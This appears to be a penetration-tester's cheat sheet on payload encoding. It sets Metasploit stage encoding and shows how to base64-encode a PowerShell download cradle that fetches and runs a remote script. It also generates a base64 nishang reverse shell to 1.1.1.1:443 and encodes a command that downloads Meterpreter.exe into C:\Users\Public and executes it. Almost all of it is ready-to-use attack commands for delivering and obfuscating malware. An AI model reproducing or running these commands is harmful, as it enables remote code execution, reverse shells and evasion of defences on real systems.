Encoder

Msf Payload Encoding

set enablestageencoding true
set stageencoder x64/zutto_dekiru

Encode PowerShell payload

• Windows

[system.convert]::tobase64string([system.text.encoding]::unicode.getbytes('IEX ((new-object net.webclient).downloadstring("http://192.168.x.y/runner.txt"))'))

• Linux

echo -en 'IEX ((new-object net.webclient).downloadstring("http://192.168.x.y/runner.txt"))' | iconv -t UTF-16LE | base64 -w 0

To generate TCP nishang reverse shell into base64

Link to the script

python3 revshell-base64.py 1.1.1.1 443

Powershell - Base64 encoder

$command = "Invoke-WebRequest -Uri http://192.168.1.1/Meterpreter.exe -Outfile C:\Users\Public\Meterpreter.exe; C:\Users\Public\Meterpreter.exe"
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
Write-Host $encoded